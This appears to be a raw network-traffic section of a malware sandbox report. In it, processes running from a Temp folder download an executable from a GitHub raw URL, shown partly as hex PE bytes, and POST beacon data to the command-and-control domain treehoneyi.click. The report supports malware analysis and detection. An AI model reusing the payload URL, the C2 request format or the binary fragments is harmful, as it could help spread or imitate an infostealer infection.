2024-12-18 20:30:25 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49809	185.199.111.133	443	6972	C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:26 UTC	128	OUT	GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-18 20:30:26 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275904 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "f6e395433fd455488d8d231a7e135bc540ae3f4d4024c956534b849ab403e860" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7809:3B48B4:73E99:80E64:676330E2 Accept-Ranges: bytes Date: Wed, 18 Dec 2024 20:30:26 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740020-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734553827.762331,VS0,VE20 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 4f4c5560a8e6b8ec546004ad4b9a5f41f1bbfa40 Expires: Wed, 18 Dec 2024 20:35:26 GMT Source-Age: 0
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 ec 03 00 00 ac 00 00 00 00 00 00 f7 78 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 50 2d 00 14 02 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gx@;@ P-
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: 0e 7f 54 d0 cc 87 8b 5f c6 42 59 ee 49 48 fd cb 31 5a 82 d1 c3 d1 61 9b 5e fd 57 db b5 b5 3e 51 67 3b 63 af 11 89 31 1a d4 8b 30 57 33 eb 43 43 55 52 38 e5 c0 b6 d6 b0 63 62 2f 79 94 1a 5e cd f2 ad bd e1 46 7c 66 5c 7a 31 d1 ec dd a3 d0 59 5a 9f 30 3a d4 e6 44 00 91 39 74 0d 99 51 63 9f cc 9c 97 3b f9 ac 97 9e a7 ca d2 eb 15 06 c6 ec 0b 1e 17 48 a8 63 4e c6 12 ba 90 93 2c 12 d4 60 e7 30 25 88 e3 c5 af 0b cf f9 9a cc b8 c5 01 11 0c 2d a2 23 67 22 ae fd 24 1e 22 09 af b9 11 d9 5a c1 d6 49 52 12 f8 5f 8f 3c ff 3b f7 2d 2c 05 47 96 1a 12 16 70 77 7a 70 f0 1a 01 69 13 c8 14 ab e9 86 13 f7 89 f8 82 34 08 51 9d 20 75 f4 ff 41 f5 60 19 d3 4b 0f 23 84 dd 8a 6c 32 8d 7b 77 55 43 8e a4 a1 bb 9a 1a 24 ae d3 81 76 6f 95 35 dc 6c 55 4a f1 81 d5 4d d9 84 ac 87 69 f4 e5 Data Ascii: T_BYIH1Za^W>Qg;c10W3CCUR8cb/y^F\|f\z1YZ0:D9tQc;HcN,`0%-#g"$"ZIR_<;-,Gpwzpi4Q uA`K#l2{wUC$vo5lUJMi
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: 9d e9 c8 ac a2 4e 78 1f 42 08 1d dd 91 fb e3 c4 d3 53 70 95 d8 12 55 99 4d d4 5a 23 46 b1 1f 5a 91 5f a3 af 50 e5 26 cb 28 18 67 eb 6f 3e 0a 95 e8 c2 9d 99 43 e7 53 1b 05 00 3f 0a ba 73 e3 b7 09 81 eb 04 48 7e 49 67 aa 91 73 7f c7 31 36 f1 2b b3 03 b6 7f 5e db 8e a4 13 e3 ed 8d 45 99 30 89 56 fa 11 dd 91 37 75 73 5c fe 7d 7c 9b 89 d5 a5 70 e5 01 37 56 22 a0 b1 63 5e 42 af 07 ac de 33 9d 7a 20 8e 8d 06 6f c9 75 94 3c b4 5b 4a 6a a5 54 95 f6 18 af a0 5b 6a 58 3a d2 81 26 92 ee 17 7a 24 fe ee 41 22 31 80 ff df c8 a8 cb c5 9e e9 4f 60 4a 2b 75 e6 44 1b 86 ac 35 53 46 ce bd 29 49 5f 09 e4 89 17 b8 86 90 44 de 65 35 64 cb dc d3 85 46 40 49 55 96 da 32 4a e3 91 48 16 80 69 05 54 20 47 88 f4 e1 2e 1f ff 11 6d 87 93 62 b9 a2 12 95 ee 55 17 0a f8 2f 9a 2c 46 66 a0 Data Ascii: NxBSpUMZ#FZ_P&(go>CS?sH~Igs16+^E0V7us\}\|p7V"c^B3z ou<[JjT[jX:&z$A"1O`J+uD5SF)I_De5dF@IU2JHiT G.mbU/,Ff
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: f1 78 84 3d 8c 25 5e d0 c4 01 d9 92 bb 7f bc 61 9a 73 82 68 6d f7 c4 36 2a 68 69 f9 9d fc 06 cd 2d 8e 9b 32 53 16 82 88 01 ee 97 fb 71 1d 50 af 95 ac 96 80 0b bb b2 76 df 70 11 73 bd 31 04 52 b6 bf 0e aa b1 b1 2c eb 54 2b 15 c6 45 a9 73 42 88 44 30 f1 3d 77 40 ce 07 c7 7f dc e9 98 8f 55 74 ca ca e5 17 e5 8e bf 5f 91 a4 3b ed d2 b8 50 05 f0 8a ac 75 80 ec 18 2a bc 87 b5 50 94 84 43 54 a1 65 f6 a2 34 b0 63 58 59 98 a8 d1 93 c3 c8 c1 87 9c 54 9b 46 dc 02 49 7a 1d 85 00 be d3 45 82 02 cc 71 e6 0c 91 2c d4 93 4a d3 54 9c ba 68 d8 48 74 f0 4c 08 98 03 7d 59 de 02 c1 1e d2 cf ca ad b0 7f 8f c3 dc bd c2 b9 93 9a ee 98 bc da ee 8c 05 61 d9 7e b7 ac ea bd f5 b2 ba 81 2a 96 5b d4 02 53 aa b5 e8 0e f5 31 a6 2d 26 36 c3 c3 2f 38 32 d9 46 34 4a da 7c a3 ad 41 7d 0e 29 Data Ascii: x=%^ashm6hi-2SqPvps1R,T+EsBD0=w@Ut_;PuPCTe4cXYTFIzEq,JThHtL}Ya~*[S1-&6/82F4J\|A})
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: 7f 3c fb cf 9b ee e5 f5 61 04 ec 17 45 da 7a 22 fb 89 b1 6e a8 3c 39 03 48 4f a6 38 c9 32 32 a0 f3 de db f8 ac f9 60 db 2c de a3 b3 61 f0 7f db 6b 32 72 05 34 1b 2e da 3b fe 0a b0 3c 31 bf 0a 3e 0c 9d 8f be a0 b8 2d 8b e3 17 00 96 b5 14 c6 0b 31 e5 33 f3 e2 f4 b8 62 fc eb 87 6b bf 83 6a ea 82 2f 67 5c a0 3f dc 66 9b 8b 69 3b 42 0d 62 b6 06 8c 74 8d dc 29 30 7a 57 67 e2 38 c1 23 00 6e 42 48 ca da bb f5 c7 01 f4 19 03 69 65 6d e5 b0 ea ec 8e f1 7e 27 fe 5c ec 10 5a 69 9d 5c b5 ed 55 10 9a 3c df c4 3d fa 6e 15 73 ba 43 75 e8 cd 0b 2f 23 f3 26 c1 81 f4 6a 6c 33 fd b4 fc 44 9e 68 cb 8b b7 8b 38 f0 26 cc 60 6b 6c 13 a0 48 72 54 63 ff d0 69 80 78 e0 0a d8 62 bb 4d 5d 85 36 3c 9e 83 4f 77 56 60 6d a4 18 2c 70 5e 18 63 5c 10 2b a2 6c 51 4c 48 dc 09 7a 55 4f f1 08 Data Ascii: <aEz"n<9HO822`,ak2r4.;<1>-13bkj/g\?fi;Bbt)0zWg8#nBHiem~'\Zi\U<=nsCu/#&jl3Dh8&`klHrTcixbM]6<OwV`m,p^c\+lQLHzUO
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: cd 3a 89 7c 61 f9 ad e9 47 47 81 23 fc 3a 2f b5 f0 4d 0b 8b 29 d0 2b 7f 92 b1 2f ff 4c 92 2e ac dd 43 f6 04 93 d5 ff 41 01 3b 9a b7 74 94 f0 2d f7 6f fe c9 1a 4a e2 72 10 49 be 79 64 1e 59 98 c5 73 c1 2a d2 fa ae 9a 87 53 c6 22 fe 8d 75 6a ab 48 e1 0b c7 82 2f 89 a7 52 6e 2e fb 11 41 32 56 e6 f7 04 a9 c2 7e a9 73 03 b5 5e 4c b5 79 b8 36 79 89 d0 e1 a9 f6 25 00 ee 74 88 51 73 0e b8 8a 09 dd bc 9f 34 a0 74 5a 0c 14 42 ca 33 44 ed b5 46 6e e8 2b e7 68 75 d2 d0 6a 06 80 61 d9 4c 48 d3 75 e6 7b ea 03 9c 56 b3 9a a2 fe 7e 5d c7 98 7c ba a6 70 30 fc 93 de 65 4c 0d 22 8d ae 53 69 de 64 a8 93 ee 6e 80 34 db 95 7f e2 f3 f8 6e b6 ca 18 0f 9b bd 92 b3 88 92 2f a1 09 99 e0 be 9a da 67 4a 12 e3 a6 80 3e bc 60 ae d1 a3 80 48 74 82 1e 7c 29 e8 86 3a 66 74 63 bf 32 84 b6 Data Ascii: :\|aGG#:/M)+/L.CA;t-oJrIydYs*S"ujH/Rn.A2V~s^Ly6y%tQs4tZB3DFn+hujaLHu{V~]\|p0eL"Sidn4n/gJ>`Ht\|):ftc2
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: 2e 34 d2 36 c0 1c 87 05 5c 19 ce a7 bd 39 4e 7d 8b 06 42 78 48 49 6f d7 9e dc 3a 51 28 cf d3 b8 60 bb 66 7f 15 75 62 46 09 a7 b7 e2 4e f9 4c ce 36 6b 96 d8 1c 3d 12 ab 4f fa 4a 93 46 1d e0 e5 da 7b 7e ea 20 1a 24 16 a4 57 46 00 78 d6 d2 52 42 48 61 fb 11 84 e4 88 38 35 08 87 fe d7 21 d2 15 3b b1 d6 32 14 35 9b f5 24 fd 97 82 12 89 fb c8 42 80 ab c0 fe 57 3f b0 f7 05 cf c8 4c 9d 0d 28 61 a6 4a ff df 92 66 f3 77 e4 f4 ab b8 1a cc e3 84 f3 c5 e8 a6 23 97 5e 97 2e 49 f7 87 b2 1c e7 c3 6d 90 57 d5 93 b3 a0 57 ea 3b 13 7f a6 ac 57 86 84 70 7a 33 ee a4 49 61 6c c4 db 59 bf 8b 5d d3 90 df 70 fd 12 fb 6f ef 9c ec 2b 51 d9 e7 01 c0 d1 e4 bd b0 75 e7 7c 94 e3 8c 0f 18 6c 6a 23 dc 80 94 92 65 ab fb 9e 3e e6 dd 0f dc 18 39 0c 3b 45 ff 79 45 9c 77 a8 ef 64 09 40 9f a1 Data Ascii: .46\9N}BxHIo:Q(`fubFNL6k=OJF{~ $WFxRBHa85!;25$BW?L(aJfw#^.ImWW;Wpz3IalY]po+Qu\|lj#e>9;EyEwd@
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: 6f 27 c8 2d a7 9d ad 5b 54 d5 1a 44 4a cf 01 57 bf fa c7 40 0f 62 46 a9 78 3b 53 2e c9 60 34 8b 54 3e c2 aa 4c 64 e8 0f 4d 01 52 ca 2e b9 4a 41 71 e9 1a 17 8b 36 85 2b 37 1c b2 47 c3 92 79 78 44 aa e4 73 45 c3 7a ec a7 e8 f7 97 f9 e5 71 06 ae 79 53 00 5a b4 d4 63 52 3c 66 0d 2b ba 47 e1 89 5a ea fe 50 67 3d 24 e0 25 c3 bf 2c 06 02 81 ba 53 b7 8c e7 69 41 5d 67 e5 27 5f ec 50 ae ad 59 7c 47 c4 d3 9c 51 f8 c1 d4 af f7 51 63 69 25 2f 55 56 a6 7f 1d 5e 56 09 83 c4 2a 95 b4 0c d0 59 9a b3 d2 54 43 c2 53 ce ca 88 f2 ab 02 49 f5 6a 13 ba 37 af 1a e5 a9 c6 63 09 86 3a e5 69 a5 da 02 b7 22 96 08 04 32 f5 0f b5 82 78 1a 6a f8 99 d4 fd 19 e7 d9 d9 7c a0 8f df f7 83 e0 1f 60 60 97 60 39 64 30 6a d4 64 cd b7 ed b6 a7 f9 39 b4 fe 6f c4 7e 33 ca a7 36 25 c0 31 bf 78 3c Data Ascii: o'-[TDJW@bFx;S.`4T>LdMR.JAq6+7GyxDsEzqySZcR<f+GZPg=$%,SiA]g'_PY\|GQQci%/UV^V*YTCSIj7c:i"2xj\|```9d0jd9o~36%1x<
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: ba 49 69 e7 8f 7d d1 5f af da 49 9c 64 28 98 59 36 b3 a4 1d f8 cb 15 30 7b 25 96 6a 09 2c f9 20 89 72 a7 05 a6 ea 8d 9a 4d 6f 93 43 f8 1a 0b 86 c5 cd 49 b1 ae e6 66 89 2c 31 6d 66 65 ba b9 26 f7 bc e2 7e 04 08 8b 2a 14 e9 10 fd 4f e9 bc c6 a4 d3 a8 ff e7 d6 37 51 ca 11 be 2b c4 19 d5 58 47 e5 06 47 a6 80 1f cd 2c cd 1b 2f fe bf 7a e4 22 a8 58 99 b7 c2 f4 2a 61 f9 4b 1f 10 3a 80 ad c6 6c c2 ad 0a e8 42 64 3a 1d 96 d8 35 ce 0e d9 3d a7 34 55 40 23 4e ec 0a 67 8f e3 ae f1 06 2c 05 91 70 68 31 70 bc 85 3c c2 34 7e 0b 71 0b ef a9 16 2d 07 43 97 d6 3c d9 85 4d 50 fa be f0 ac b9 0b 8b 20 9b 22 09 1f cb 88 e8 11 b7 86 f0 e6 ed 30 8d 84 c5 b5 0c 33 84 45 94 ff 9e 5f 82 1d d6 2a c6 a7 07 43 f5 be f1 7d dc 32 9e 71 98 2a 5e aa e3 b3 e4 3c fe fd 1c ba 1b fe 1d c0 d9 Data Ascii: Ii}_Id(Y60{%j, rMoCIf,1mfe&~O7Q+XGG,/z"XaK:lBd:5=4U@#Ng,ph1p<4~q-C<MP "03E_C}2q^<
2024-12-18 20:30:26 UTC	1378	IN	Data Raw: 52 e0 1f 58 23 09 4b ac 81 56 f8 11 a3 e9 9a 43 0c 60 01 1d ac 7a b7 e5 2b f8 87 42 a7 8f 08 53 15 76 f7 ad 7b 62 db 9b f9 e8 88 8f 97 0a 19 31 58 c4 e7 2b 34 56 b1 00 87 dc 42 8f cf 0b 67 f8 38 50 45 9a 20 8e fa c9 f1 85 14 bc 23 26 13 67 95 23 3c fc 05 7b 68 9c 69 8d 73 5b fc c0 db 6e da 60 44 01 ed 8b 92 68 d9 2c 74 c3 17 41 9d 40 7d e1 6f c6 35 d8 97 5d ee 57 5b 90 e9 51 03 2c 68 50 87 88 56 9d 16 a8 1b ac 3f 66 16 fd ff b9 0c 32 82 96 49 d1 4a 63 f5 a8 47 9b 08 b8 45 61 aa 63 64 be c9 9a f2 0b dd 64 ef 60 ad 54 73 91 db b5 0f 39 94 2a 4d b1 f6 81 20 51 06 ac df e4 cd 78 af 96 19 fe 1a c8 4a 65 e8 79 5d cc c5 8d d9 1d f9 22 55 8a 86 da 2b f0 00 1c 49 5f d3 1c 62 bf 22 c3 33 ec d2 ad d3 ab 98 d2 42 8b 64 a6 41 08 fd 7f a6 3c da c3 89 a7 2e 33 dc 08 02 Data Ascii: RX#KVC`z+BSv{b1X+4VBg8PE #&g#<{his[n`Dh,tA@}o5]W[Q,hPV?f2IJcGEacdd`Ts9*M QxJey]"U+I_b"3BdA<.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49810	172.67.180.113	443	6512	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:28 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: treehoneyi.click
2024-12-18 20:30:28 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=rAGxSF--Support&j=
2024-12-18 20:30:29 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n5gp8pgpie2ehv939v29967e4k; expires=Sun, 13-Apr-2025 14:17:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J2IM6UoYyhD9y%2Blx9EiADsUXNyRDLjR51nDDQM%2FBwpWkN7tLCzJE3ZDI5v3Wniu8k4UhisiksBhQ6jD2lV%2BZkxigwVfjXWw%2FLz1wJBUL3eJBWHeIUeRl3JpZcHzeiSJCuREf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9333b5bc330-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1719&rtt_var=649&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=949&delivery_rate=1681059&cwnd=235&unsent_bytes=0&cid=7e2312eec947c8ed&ts=1208&x=0"
2024-12-18 20:30:29 UTC	334	IN	Data Raw: 34 39 31 63 0d 0a 41 7a 76 77 35 66 39 5a 42 51 4b 30 63 43 77 4b 69 6f 2b 54 76 33 4a 52 62 6f 4f 43 55 67 6b 4e 57 45 78 70 73 31 68 32 31 71 52 34 47 59 62 48 78 57 30 70 49 4d 63 56 44 6a 44 2b 2f 65 62 61 58 6e 4d 50 35 36 42 6f 62 32 77 30 50 77 79 66 65 67 43 37 68 6a 6c 64 6b 59 6d 4d 50 43 6b 67 30 51 67 4f 4d 4e 48 30 73 64 6f 63 63 31 53 68 35 7a 68 72 62 44 51 75 43 4e 67 33 42 72 72 48 61 31 65 58 6a 5a 6f 36 59 57 50 59 48 55 6c 76 37 2b 37 35 30 52 73 38 42 75 36 67 66 69 74 6f 49 6d 35 54 6b 52 55 54 6f 73 56 4f 57 6f 4f 4f 33 53 51 70 65 5a 59 56 51 69 69 77 72 66 4c 61 45 44 30 49 35 2b 6b 36 59 57 55 38 4c 77 33 5a 4b 42 2b 77 7a 47 74 5a 6c 49 79 51 4d 33 56 75 30 68 70 43 61 65 58 75 73 5a 4e 51 4e 42 53 68 75 48 41 34 58 54 6b 2f 47 Data Ascii: 491cAzvw5f9ZBQK0cCwKio+Tv3JRboOCUgkNWExps1h21qR4GYbHxW0pIMcVDjD+/ebaXnMP56Bob2w0PwyfegC7hjldkYmMPCkg0QgOMNH0sdocc1Sh5zhrbDQuCNg3BrrHa1eXjZo6YWPYHUlv7+750Rs8Bu6gfitoIm5TkRUTosVOWoOO3SQpeZYVQiiwrfLaED0I5+k6YWU8Lw3ZKB+wzGtZlIyQM3Vu0hpCaeXusZNQNBShuHA4XTk/G
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 5a 6e 35 36 4d 55 58 49 65 68 4f 34 68 6a 6b 5a 6c 49 6d 63 4e 6d 64 79 33 68 6c 46 62 66 72 6d 2b 4e 41 64 4d 77 48 72 37 7a 4e 72 61 44 41 6b 42 4e 73 2b 47 62 6e 41 59 56 6e 53 79 64 30 38 66 79 43 4f 55 6d 31 74 2b 4f 72 39 79 31 49 4a 54 50 36 75 4b 53 74 6f 4e 6d 35 54 6b 54 49 52 74 38 56 71 56 70 47 50 6c 69 6c 6e 63 74 41 66 53 33 72 75 36 50 2f 58 45 79 45 47 37 2b 59 7a 59 6d 51 7a 4b 77 7a 56 65 6c 72 30 77 58 6b 5a 79 73 65 38 4e 6d 78 73 33 41 56 4f 4b 50 65 6a 36 4a 30 58 50 30 79 35 6f 44 52 71 61 7a 73 71 42 64 38 2b 47 4c 4c 49 62 46 61 55 6a 5a 30 38 62 57 6a 65 45 30 4e 6a 35 2b 33 30 30 42 51 31 41 4f 44 6c 63 43 55 76 50 54 5a 4c 69 58 6f 36 73 38 56 7a 47 36 65 45 6b 7a 56 67 64 70 59 4e 41 48 47 6f 36 76 32 64 53 48 4d 43 35 4f 38 Data Ascii: Zn56MUXIehO4hjkZlImcNmdy3hlFbfrm+NAdMwHr7zNraDAkBNs+GbnAYVnSyd08fyCOUm1t+Or9y1IJTP6uKStoNm5TkTIRt8VqVpGPlilnctAfS3ru6P/XEyEG7+YzYmQzKwzVelr0wXkZyse8Nmxs3AVOKPej6J0XP0y5oDRqazsqBd8+GLLIbFaUjZ08bWjeE0Nj5+300BQ1AODlcCUvPTZLiXo6s8VzG6eEkzVgdpYNAHGo6v2dSHMC5O8
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 69 6b 54 6b 57 4a 55 68 64 46 71 47 36 65 45 6b 7a 56 67 64 70 59 4e 41 48 47 6f 36 76 32 64 53 48 4d 42 36 65 55 31 5a 47 34 77 49 41 37 62 4e 68 79 36 78 58 4e 57 6c 6f 65 52 4d 32 31 74 32 42 5a 47 59 65 50 6d 39 39 30 52 4f 55 79 76 6f 44 64 7a 4c 32 4a 75 50 39 59 32 47 62 75 45 56 46 71 63 69 5a 6f 74 4a 33 2b 59 43 77 35 76 35 4b 32 70 6e 52 77 36 44 4f 72 71 4e 47 74 6f 4e 79 73 49 31 6a 6b 5a 73 38 78 76 58 70 61 4c 6c 44 5a 68 59 4e 45 57 53 33 72 74 35 50 33 52 55 48 31 4d 35 76 68 77 4d 79 38 56 4b 52 33 53 46 52 65 6c 7a 79 46 47 33 4a 37 64 50 47 73 67 6a 6c 4a 4a 62 65 44 6d 39 39 55 51 49 51 6e 76 36 7a 46 68 61 54 73 6a 42 39 63 36 46 62 54 41 62 56 6d 56 67 49 38 70 59 6d 62 45 47 41 34 6d 71 4f 72 70 6e 55 68 7a 4f 76 48 33 49 58 30 74 Data Ascii: ikTkWJUhdFqG6eEkzVgdpYNAHGo6v2dSHMB6eU1ZG4wIA7bNhy6xXNWloeRM21t2BZGYePm990ROUyvoDdzL2JuP9Y2GbuEVFqciZotJ3+YCw5v5K2pnRw6DOrqNGtoNysI1jkZs8xvXpaLlDZhYNEWS3rt5P3RUH1M5vhwMy8VKR3SFRelzyFG3J7dPGsgjlJJbeDm99UQIQnv6zFhaTsjB9c6FbTAbVmVgI8pYmbEGA4mqOrpnUhzOvH3IX0t
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 6b 79 47 37 76 43 62 31 2b 55 69 70 67 30 62 58 4c 65 48 45 4e 6a 35 2b 62 6a 33 52 30 33 41 4f 58 6f 4f 32 45 76 64 47 34 4d 79 58 70 4d 39 50 4e 73 56 70 4b 45 69 33 74 34 4c 73 39 53 53 57 53 6f 74 62 48 52 48 6a 4d 44 37 65 77 37 59 32 34 32 49 41 7a 55 4d 78 79 38 31 47 42 64 6d 6f 61 54 4e 47 5a 6b 30 78 64 4b 62 2b 7a 72 2f 70 31 65 63 77 76 35 6f 47 67 72 51 42 30 62 53 66 41 41 56 4b 75 49 65 42 6d 56 69 39 31 6a 4a 32 7a 56 48 6b 5a 6e 37 75 54 39 31 78 6b 34 41 4f 72 6b 50 47 4a 71 50 43 38 4f 31 44 73 51 75 4d 78 6e 57 70 47 49 6b 6a 52 76 49 4a 68 53 53 58 43 6f 74 62 48 34 42 7a 67 43 35 36 41 76 4a 58 5a 36 4b 51 65 52 59 6c 53 34 7a 32 64 66 6c 34 75 63 50 57 39 6c 33 68 5a 50 62 75 37 75 2f 74 6b 56 4d 67 50 6c 37 44 35 68 62 6a 73 69 41 Data Ascii: kyG7vCb1+Uipg0bXLeHENj5+bj3R03AOXoO2EvdG4MyXpM9PNsVpKEi3t4Ls9SSWSotbHRHjMD7ew7Y242IAzUMxy81GBdmoaTNGZk0xdKb+zr/p1ecwv5oGgrQB0bSfAAVKuIeBmVi91jJ2zVHkZn7uT91xk4AOrkPGJqPC8O1DsQuMxnWpGIkjRvIJhSSXCotbH4BzgC56AvJXZ6KQeRYlS4z2dfl4ucPW9l3hZPbu7u/tkVMgPl7D5hbjsiA
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 37 77 6d 5a 56 6c 49 69 62 4f 6d 4a 71 32 68 56 4c 59 2b 66 68 73 5a 4e 51 4e 42 53 68 75 48 42 46 5a 43 6b 35 43 4e 38 78 41 71 2b 47 66 68 65 4c 78 35 6f 33 4a 7a 69 57 45 55 56 6a 37 4f 33 39 33 52 51 2b 44 50 50 76 4e 32 78 6d 4d 54 77 42 31 6a 30 66 76 4d 31 75 58 34 43 4c 6b 79 6c 69 63 73 52 53 41 43 6a 76 39 62 47 46 55 41 55 4c 38 66 41 7a 4b 56 34 73 4c 52 33 61 4e 78 6a 30 32 53 39 41 30 6f 43 52 65 7a 38 67 30 42 31 48 61 2b 66 73 2b 4e 45 64 4e 67 58 6b 34 54 5a 76 5a 54 41 75 44 64 63 37 45 62 37 46 59 46 4f 62 67 4a 55 38 5a 48 4b 57 58 41 35 76 38 4b 32 70 6e 54 6b 30 48 75 2f 77 63 48 51 68 49 32 34 4d 33 58 70 4d 39 4d 4a 72 56 70 61 41 6b 54 31 69 5a 74 73 54 51 57 6e 6f 34 76 58 57 47 54 55 4e 37 4f 55 39 62 33 30 77 4a 51 54 64 4d 78 Data Ascii: 7wmZVlIibOmJq2hVLY+fhsZNQNBShuHBFZCk5CN8xAq+GfheLx5o3JziWEUVj7O393RQ+DPPvN2xmMTwB1j0fvM1uX4CLkylicsRSACjv9bGFUAUL8fAzKV4sLR3aNxj02S9A0oCRez8g0B1Ha+fs+NEdNgXk4TZvZTAuDdc7Eb7FYFObgJU8ZHKWXA5v8K2pnTk0Hu/wcHQhI24M3XpM9MJrVpaAkT1iZtsTQWno4vXWGTUN7OU9b30wJQTdMx
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 55 35 2b 45 6b 6a 68 31 59 64 41 41 54 6d 58 69 2f 2f 76 57 46 54 34 42 37 4f 4d 32 62 57 51 32 50 41 4c 52 4f 52 2f 30 69 43 46 65 69 73 66 46 65 30 52 33 77 42 68 4a 5a 50 37 6d 38 4e 34 47 50 68 79 68 72 6e 42 36 61 43 74 75 55 38 63 71 41 37 50 5a 4c 30 44 53 67 4a 46 37 50 79 44 51 47 30 68 76 37 75 50 6a 32 42 59 38 41 2b 6a 70 4e 47 4e 73 4f 69 6f 50 31 6a 38 58 75 4d 31 6d 57 70 32 44 6c 44 56 75 62 35 5a 63 44 6d 2f 77 72 61 6d 64 4d 53 67 50 37 65 31 77 64 43 45 6a 62 67 7a 64 65 6b 7a 30 79 6d 39 63 6b 6f 32 62 50 32 4a 6d 33 42 64 4f 59 2b 76 69 39 64 73 55 50 41 7a 71 36 54 46 74 61 6a 41 6c 44 64 77 35 45 72 4b 47 4c 78 6d 56 6e 39 31 6a 4a 30 44 4e 48 30 4a 76 71 50 4b 2f 78 46 41 30 41 4b 47 34 63 47 42 6a 50 69 6b 4c 33 44 6b 63 73 63 4a Data Ascii: 